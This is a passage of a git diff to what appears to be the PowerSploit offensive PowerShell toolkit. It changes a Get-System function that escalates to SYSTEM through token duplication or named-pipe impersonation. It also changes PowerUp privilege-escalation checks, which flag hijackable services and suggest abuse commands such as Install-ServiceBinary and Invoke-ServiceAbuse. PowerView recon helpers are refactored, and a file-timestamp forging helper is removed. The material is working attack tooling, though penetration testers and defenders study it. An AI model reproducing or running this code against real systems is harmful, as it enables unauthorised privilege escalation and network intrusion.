+ $RetVal = $RevertToSelf.Invoke()
+ if($RetVal) {
+ Write-Output "RevertToSelf successful."
+ }
+ else {
+ Write-Warning "RevertToSelf failed."
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+
+ else {
+ if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
+ Write-Error "Script must be run as administrator" -ErrorAction Stop
+ }
+
+ if($Technique -eq 'NamedPipe') {
+ # if we're using named pipe impersonation with a service
+ Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
+ }
+ else {
+ # otherwise use token duplication
+ Get-SystemToken
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+}
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 9954c98..cb2bda5 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -122,8 +122,7 @@ function Test-ServiceDaclPermission {
# check if sc.exe exists
if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){
- Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe"
- return $False
+ throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found"
}
$ServiceAccessFlags = @{
@@ -151,68 +150,60 @@ function Test-ServiceDaclPermission {
# make sure we got a result back
if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine"
}
- try {
- # retrieve DACL from sc.exe
- $Result = sc.exe sdshow $TargetService.Name | where {$_}
+ # retrieve DACL from sc.exe (only possible if 'RC' DACL is set)
+ $Result = sc.exe sdshow $TargetService.Name | where {$_}
- if ($Result -like "*OpenService FAILED*"){
- Write-Warning "[!] Access to service $($TargetService.Name) denied"
- return $False
- }
+ if ($Result -like "*OpenService FAILED*"){
+ throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'"
+ }
- $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
+ $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result)
- # populate a list of group SIDs that the current user is a member of
- $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
+ # populate a list of group SIDs that the current user is a member of
+ $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid}
- # add to the list the SID of the current user
- $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+ # add to the list the SID of the current user
+ $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
- ForEach ($Sid in $Sids){
- ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
-
- # check if the group/user SID is included in the ACE
- if ($Sid -eq $Ace.SecurityIdentifier){
-
- # convert the AccessMask to a service DACL string
- $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
- if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
- $_
- }
- }) -join ""
-
- # convert the input DACL to an array
- $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
-
- # counter to check how many DACL permissions were found
- $MatchedPermissions = 0
+ ForEach ($Sid in $Sids){
+ ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){
+
+ # check if the group/user SID is included in the ACE
+ if ($Sid -eq $Ace.SecurityIdentifier){
- # check if each of the permissions exists
- ForEach ($DaclPermission in $DaclArray){
- if ($DaclString.Contains($DaclPermission.ToUpper())){
- $MatchedPermissions += 1
- }
- else{
- break
- }
+ # convert the AccessMask to a service DACL string
+ $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object {
+ if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) {
+ $_
}
- # found all permissions - success
- if ($MatchedPermissions -eq $DaclArray.Count){
- return $True
+ }) -join ""
+
+ # convert the input DACL to an array
+ $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_})
+
+ # counter to check how many DACL permissions were found
+ $MatchedPermissions = 0
+
+ # check if each of the permissions exists
+ ForEach ($DaclPermission in $DaclArray){
+ if ($DaclString.Contains($DaclPermission.ToUpper())){
+ $MatchedPermissions += 1
}
- }
- }
+ else{
+ break
+ }
+ }
+ # found all permissions - success
+ if ($MatchedPermissions -eq $DaclArray.Count){
+ return $True
+ }
+ }
}
- return $False
- }
- catch{
- Write-Warning "Error: $_"
- return $False
}
+ return $False
}
function Invoke-ServiceStart {
@@ -369,7 +360,7 @@ function Invoke-ServiceEnable {
try {
# enable the service
- Write-Verbose "Enabling service '$TargetService.Name'"
+ Write-Verbose "Enabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= demand
return $True
}
@@ -417,7 +408,7 @@ function Invoke-ServiceDisable {
try {
# disable the service
- Write-Verbose "Disabling service '$TargetService.Name'"
+ Write-Verbose "Disabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= disabled
return $True
}
@@ -458,11 +449,17 @@ function Get-ServiceUnquoted {
if ($VulnServices) {
ForEach ($Service in $VulnServices){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path <HijackPath>"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -492,12 +489,18 @@ function Get-ServiceFilePermission {
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiableFile | ForEach-Object {
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -510,7 +513,7 @@ function Get-ServicePermission {
This function enumerates all available services and tries to
open the service for modification, returning the service object
- if the process doesn't failed.
+ if the process didn't fail.
.EXAMPLE
@@ -541,11 +544,17 @@ function Get-ServicePermission {
# means the change was successful
if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -794,7 +803,7 @@ function Write-ServiceBinary {
The service name the EXE will be running under. Required.
- .PARAMETER Path
+ .PARAMETER ServicePath
Path to write the binary out to, defaults to the local directory.
@@ -920,7 +929,7 @@ function Install-ServiceBinary {
<#
.SYNOPSIS
- Users Write-ServiceBinary to write a C# service that creates a local UserName
+ Uses Write-ServiceBinary to write a C# service that creates a local UserName
and adds it to specified LocalGroup or executes a custom command.
Domain users are only added to the specified LocalGroup.
@@ -1006,7 +1015,7 @@ function Install-ServiceBinary {
Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"
try {
- Move-Item -Path $ServicePath -Destination $BackupPath -Force
+ Copy-Item -Path $ServicePath -Destination $BackupPath -Force
}
catch {
Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!"
diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1
index 34ebf7b..d3d9a97 100644
--- a/Privesc/Privesc.psd1
+++ b/Privesc/Privesc.psd1
@@ -22,31 +22,33 @@ Description = 'PowerSploit Privesc Module'
PowerShellVersion = '2.0'
# Functions to export from this module
-FunctionsToExport = @(
- 'Get-ServiceUnquoted',
- 'Get-ServiceFilePermission',
- 'Get-ServicePermission',
- 'Get-ServiceDetail',
- 'Invoke-ServiceAbuse',
- 'Write-ServiceBinary',
- 'Install-ServiceBinary',
- 'Restore-ServiceBinary',
+FunctionsToExport = @(
'Find-DLLHijack',
'Find-PathHijack',
- 'Write-HijackDll',
+ 'Get-ApplicationHost',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
+ 'Get-ServiceDetail',
+ 'Get-ServiceFilePermission',
+ 'Get-ServicePermission',
+ 'Get-ServiceUnquoted',
+ 'Get-UnattendedInstallFile',
'Get-VulnAutoRun',
'Get-VulnSchTask',
- 'Get-UnattendedInstallFile',
'Get-Webconfig',
- 'Get-ApplicationHost',
+ 'Install-ServiceBinary',
+ 'Invoke-AllChecks',
+ 'Invoke-ServiceAbuse',
+ 'Restore-ServiceBinary',
+ 'Write-HijackDll',
+ 'Write-ServiceBinary',
'Write-UserAddMSI',
- 'Invoke-AllChecks'
+ 'Get-SiteListPassword',
+ 'Get-System'
)
# List of all files packaged with this module
-FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
+FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index 57a5789..e6f6233 100644
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -714,11 +714,13 @@ function struct
#
########################################################
-function Export-PowerViewCSV {
+filter Export-PowerViewCSV {
<#
.SYNOPSIS
- This function exports to a .csv in a thread-safe manner.
+ This helper exports an -InputObject to a .csv in a thread-safe manner
+ using a mutex. This is so the various multi-threaded functions in
+ PowerView has a thread-safe way to export output to the same file.
Based partially on Dmitry Sotnikov's Export-CSV code
at http://poshcode.org/1590
@@ -729,231 +731,84 @@ function Export-PowerViewCSV {
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
Param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True,
- ValueFromPipelineByPropertyName=$True)]
- [System.Management.Automation.PSObject]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
+ [System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory=$True, Position=0)]
- [Alias('PSPath')]
[String]
+ [ValidateNotNullOrEmpty()]
$OutFile
)
- process {
-
- $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
-
- # mutex so threaded code doesn't stomp on the output file
- $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
- $Null = $Mutex.WaitOne()
+ $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
- if (Test-Path -Path $OutFile) {
- # hack to skip the first line of output if the file already exists
- $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
- }
- else {
- $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
- }
+ # mutex so threaded code doesn't stomp on the output file
+ $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
+ $Null = $Mutex.WaitOne()
- $Mutex.ReleaseMutex()
+ if (Test-Path -Path $OutFile) {
+ # hack to skip the first line of output if the file already exists
+ $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
}
-}
-
-
-# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html
-function Set-MacAttribute {
-<#
- .SYNOPSIS
-
- Sets the modified, accessed and created (Mac) attributes for a file based on another file or input.
-
- PowerSploit Function: Set-MacAttribute
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
- Version: 1.0.0
-
- .DESCRIPTION
-
- Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file.
-
- .EXAMPLE
-
- PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile
-
- .EXAMPLE
-
- PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm"
-
- .EXAMPLE
-
- PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm"
-
- .LINK
-
- http://www.obscuresec.com/2014/05/touch.html
-#>
- [CmdletBinding(DefaultParameterSetName = 'Touch')]
- Param (
-
- [Parameter(Position = 1,Mandatory = $True)]
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $FilePath,
-
- [Parameter(ParameterSetName = 'Touch')]
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $OldFilePath,
-
- [Parameter(ParameterSetName = 'Individual')]
- [DateTime]
- $Modified,
-
- [Parameter(ParameterSetName = 'Individual')]
- [DateTime]
- $Accessed,
-
- [Parameter(ParameterSetName = 'Individual')]
- [DateTime]
- $Created,
-
- [Parameter(ParameterSetName = 'All')]
- [DateTime]
- $AllMacAttributes
- )
-
- #Helper function that returns an object with the MAC attributes of a file.
- function Get-MacAttribute {
-
- param($OldFileName)
-
- if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'}
- $FileInfoObject = (Get-Item $OldFileName)
-
- $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime);
- 'Accessed' = ($FileInfoObject.LastAccessTime);
- 'Created' = ($FileInfoObject.CreationTime)};
- $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties
- Return $ResultObject
- }
-
- $FileInfoObject = (Get-Item -Path $FilePath)
-
- if ($PSBoundParameters['AllMacAttributes']) {
- $Modified = $AllMacAttributes
- $Accessed = $AllMacAttributes
- $Created = $AllMacAttributes
- }
-
- if ($PSBoundParameters['OldFilePath']) {
- $CopyFileMac = (Get-MacAttribute $OldFilePath)
- $Modified = $CopyFileMac.Modified
- $Accessed = $CopyFileMac.Accessed
- $Created = $CopyFileMac.Created
+ else {
+ $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
}
- if ($Modified) {$FileInfoObject.LastWriteTime = $Modified}
- if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed}
- if ($Created) {$FileInfoObject.CreationTime = $Created}
-
- Return (Get-MacAttribute $FilePath)
+ $Mutex.ReleaseMutex()
}
-function Copy-ClonedFile {
+filter Get-IPAddress {
<#
.SYNOPSIS
- Copy a source file to a destination location, matching any MAC
- properties as appropriate.
-
- .PARAMETER SourceFile
-
- Source file to copy.
-
- .PARAMETER DestFile
-
- Destination file path to copy file to.
+ Resolves a given hostename to its associated IPv4 address.
+ If no hostname is provided, it defaults to returning
+ the IP address of the localhost.
.EXAMPLE
- PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe
+ PS C:\> Get-IPAddress -ComputerName SERVER
- Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe.
-
- .LINK
-
- http://obscuresecurity.blogspot.com/2014/05/touch.html
-#>
-
- param(
- [Parameter(Mandatory = $True)]
- [String]
- [ValidateNotNullOrEmpty()]
- $SourceFile,
-
- [Parameter(Mandatory = $True)]
- [String]
- [ValidateNotNullOrEmpty()]
- $DestFile
- )
-
- # clone the MAC properties
- Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile
-
- # copy the file off
- Copy-Item -Path $SourceFile -Destination $DestFile
-}
-
-
-function Get-IPAddress {
-<#
- .SYNOPSIS
-
- This function resolves a given hostename to its associated IPv4
- address. If no hostname is provided, it defaults to returning
- the IP address of the local host the script be being run on.
+ Return the IPv4 address of 'SERVER'
.EXAMPLE
- PS C:\> Get-IPAddress -ComputerName SERVER
-
- Return the IPv4 address of 'SERVER'
+ PS C:\> Get-Content .\hostnames.txt | Get-IPAddress
+
+ Get the IP addresses of all hostnames in an input file.
#>
[CmdletBinding()]
param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Parameter(Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
- $ComputerName = ''
+ $ComputerName = $Env:ComputerName
)
- process {
- try {
- # get the IP resolution of this specified hostname
- $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList)
-
- if ($Results.Count -ne 0) {
- ForEach ($Result in $Results) {
- # make sure the returned result is IPv4
- if ($Result.AddressFamily -eq 'InterNetwork') {
- $Result.IPAddressToString
- }
- }
+
+ try {
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # get the IP resolution of this specified hostname
+ @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
+ if ($_.AddressFamily -eq 'InterNetwork') {
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ComputerName' $Computer
+ $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
+ $Out
}
}
- catch {
- Write-Verbose -Message 'Could not resolve host to an IP Address.'
- }
}
- end {}
+ catch {
+ Write-Verbose -Message 'Could not resolve host to an IP Address.'
+ }
}
-function Convert-NameToSid {
+filter Convert-NameToSid {
<#
.SYNOPSIS
@@ -973,38 +828,43 @@ function Convert-NameToSid {
#>
[CmdletBinding()]
param(
- [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
[Alias('Name')]
$ObjectName,
[String]
- $Domain = (Get-NetDomain).Name
+ $Domain
)
- process {
-
- $ObjectName = $ObjectName -replace "/","\"
-
- if($ObjectName.contains("\")) {
- # if we get a DOMAIN\user format, auto convert it
- $Domain = $ObjectName.split("\")[0]
- $ObjectName = $ObjectName.split("\")[1]
- }
+ $ObjectName = $ObjectName -Replace "/","\"
+
+ if($ObjectName.Contains("\")) {
+ # if we get a DOMAIN\user format, auto convert it
+ $Domain = $ObjectName.Split("\")[0]
+ $ObjectName = $ObjectName.Split("\")[1]
+ }
+ elseif(!$Domain) {
+ $Domain = (Get-NetDomain).Name
+ }
- try {
- $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName))
- $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
- }
- catch {
- Write-Verbose "Invalid object/name: $Domain\$ObjectName"
- $Null
- }
+ try {
+ $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
+ $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
+
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
+ $Out | Add-Member Noteproperty 'SID' $SID
+ $Out
+ }
+ catch {
+ Write-Verbose "Invalid object/name: $Domain\$ObjectName"
+ $Null
}
}
-function Convert-SidToName {
+filter Convert-SidToName {
<#
.SYNOPSIS
@@ -1020,211 +880,217 @@ function Convert-SidToName {
#>
[CmdletBinding()]
param(
- [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
+ [ValidatePattern('^S-1-.*')]
$SID
)
- process {
- try {
- $SID2 = $SID.trim('*')
+ try {
+ $SID2 = $SID.trim('*')
- # try to resolve any built-in SIDs first
- # from https://support.microsoft.com/en-us/kb/243330
- Switch ($SID2)
- {
- 'S-1-0' { 'Null Authority' }
- 'S-1-0-0' { 'Nobody' }
- 'S-1-1' { 'World Authority' }
- 'S-1-1-0' { 'Everyone' }
- 'S-1-2' { 'Local Authority' }
- 'S-1-2-0' { 'Local' }
- 'S-1-2-1' { 'Console Logon ' }
- 'S-1-3' { 'Creator Authority' }
- 'S-1-3-0' { 'Creator Owner' }
- 'S-1-3-1' { 'Creator Group' }
- 'S-1-3-2' { 'Creator Owner Server' }
- 'S-1-3-3' { 'Creator Group Server' }
- 'S-1-3-4' { 'Owner Rights' }
- 'S-1-4' { 'Non-unique Authority' }
- 'S-1-5' { 'NT Authority' }
- 'S-1-5-1' { 'Dialup' }
- 'S-1-5-2' { 'Network' }
- 'S-1-5-3' { 'Batch' }
- 'S-1-5-4' { 'Interactive' }
- 'S-1-5-6' { 'Service' }
- 'S-1-5-7' { 'Anonymous' }
- 'S-1-5-8' { 'Proxy' }
- 'S-1-5-9' { 'Enterprise Domain Controllers' }
- 'S-1-5-10' { 'Principal Self' }
- 'S-1-5-11' { 'Authenticated Users' }
- 'S-1-5-12' { 'Restricted Code' }
- 'S-1-5-13' { 'Terminal Server Users' }
- 'S-1-5-14' { 'Remote Interactive Logon' }
- 'S-1-5-15' { 'This Organization ' }
- 'S-1-5-17' { 'This Organization ' }
- 'S-1-5-18' { 'Local System' }
- 'S-1-5-19' { 'NT Authority' }
- 'S-1-5-20' { 'NT Authority' }
- 'S-1-5-80-0' { 'All Services ' }
- 'S-1-5-32-544' { 'BUILTIN\Administrators' }
- 'S-1-5-32-545' { 'BUILTIN\Users' }
- 'S-1-5-32-546' { 'BUILTIN\Guests' }
- 'S-1-5-32-547' { 'BUILTIN\Power Users' }
- 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
- 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
- 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
- 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
- 'S-1-5-32-552' { 'BUILTIN\Replicators' }
- 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
- 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
- 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
- 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
- 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
- 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
- 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
- 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
- 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
- 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
- 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
- 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
- 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
- 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
- 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
- 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
- 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
- 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
- Default {
- $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
- $Obj.Translate( [System.Security.Principal.NTAccount]).Value
- }
+ # try to resolve any built-in SIDs first
+ # from https://support.microsoft.com/en-us/kb/243330
+ Switch ($SID2)
+ {
+ 'S-1-0' { 'Null Authority' }
+ 'S-1-0-0' { 'Nobody' }
+ 'S-1-1' { 'World Authority' }
+ 'S-1-1-0' { 'Everyone' }
+ 'S-1-2' { 'Local Authority' }
+ 'S-1-2-0' { 'Local' }
+ 'S-1-2-1' { 'Console Logon ' }
+ 'S-1-3' { 'Creator Authority' }
+ 'S-1-3-0' { 'Creator Owner' }
+ 'S-1-3-1' { 'Creator Group' }
+ 'S-1-3-2' { 'Creator Owner Server' }
+ 'S-1-3-3' { 'Creator Group Server' }
+ 'S-1-3-4' { 'Owner Rights' }
+ 'S-1-4' { 'Non-unique Authority' }
+ 'S-1-5' { 'NT Authority' }
+ 'S-1-5-1' { 'Dialup' }
+ 'S-1-5-2' { 'Network' }
+ 'S-1-5-3' { 'Batch' }
+ 'S-1-5-4' { 'Interactive' }
+ 'S-1-5-6' { 'Service' }
+ 'S-1-5-7' { 'Anonymous' }
+ 'S-1-5-8' { 'Proxy' }
+ 'S-1-5-9' { 'Enterprise Domain Controllers' }
+ 'S-1-5-10' { 'Principal Self' }
+ 'S-1-5-11' { 'Authenticated Users' }
+ 'S-1-5-12' { 'Restricted Code' }
+ 'S-1-5-13' { 'Terminal Server Users' }
+ 'S-1-5-14' { 'Remote Interactive Logon' }
+ 'S-1-5-15' { 'This Organization ' }
+ 'S-1-5-17' { 'This Organization ' }
+ 'S-1-5-18' { 'Local System' }
+ 'S-1-5-19' { 'NT Authority' }
+ 'S-1-5-20' { 'NT Authority' }
+ 'S-1-5-80-0' { 'All Services ' }
+ 'S-1-5-32-544' { 'BUILTIN\Administrators' }
+ 'S-1-5-32-545' { 'BUILTIN\Users' }
+ 'S-1-5-32-546' { 'BUILTIN\Guests' }
+ 'S-1-5-32-547' { 'BUILTIN\Power Users' }
+ 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
+ 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
+ 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
+ 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
+ 'S-1-5-32-552' { 'BUILTIN\Replicators' }
+ 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
+ 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
+ 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
+ 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
+ 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
+ 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
+ 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
+ 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
+ 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
+ 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
+ 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
+ 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
+ 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
+ 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
+ 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
+ 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
+ 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
+ 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
+ Default {
+ $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
+ $Obj.Translate( [System.Security.Principal.NTAccount]).Value
}
}
- catch {
- # Write-Warning "Invalid SID: $SID"
- $SID
- }
+ }
+ catch {
+ Write-Debug "Invalid SID: $SID"
+ $SID
}
}
-function Convert-NT4toCanonical {
+filter Convert-ADName {
<#
.SYNOPSIS
- Converts a user/group NT4 name (i.e. dev/john) to canonical format.
+ Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)
+ to canonical format (domain.com/Users/user) or NT4.
Based on Bill Stewart's code from this article:
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
.PARAMETER ObjectName
- The user/group name to convert, needs to be in 'DOMAIN\user' format.
+ The user/group name to convert.
+
+ .PARAMETER InputType
+
+ The InputType of the user/group name ("NT4","Simple","Canonical").
+
+ .PARAMETER OutputType
+
+ The OutputType of the user/group name ("NT4","Simple","Canonical").
.EXAMPLE
- PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm"
+ PS C:\> Convert-ADName -ObjectName "dev\dfm"
Returns "dev.testlab.local/Users/Dave"
+ .EXAMPLE
+
+ PS C:\> Convert-SidToName "S-..." | Convert-ADName
+
+ Returns the canonical name for the resolved SID.
+
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
- [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [String]
+ $ObjectName,
+
+ [String]
+ [ValidateSet("NT4","Simple","Canonical")]
+ $InputType,
+
[String]
- $ObjectName
+ [ValidateSet("NT4","Simple","Canonical")]
+ $OutputType
)
- process {
+ $NameTypes = @{
+ "Canonical" = 2
+ "NT4" = 3
+ "Simple" = 5
+ }
- $ObjectName = $ObjectName -replace "/","\"
-
- if($ObjectName.contains("\")) {
- # if we get a DOMAIN\user format, try to extract the domain
- $Domain = $ObjectName.split("\")[0]
+ if(!$PSBoundParameters['InputType']) {
+ if( ($ObjectName.split('/')).Count -eq 2 ) {
+ $ObjectName = $ObjectName.replace('/', '\')
}
- # Accessor functions to simplify calls to NameTranslate
- function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
- $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
- if ( $Output ) { $Output }
+ if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") {
+ $InputType = 'NT4'
}
- function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
- [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
+ elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
+ $InputType = 'Simple'
}
-
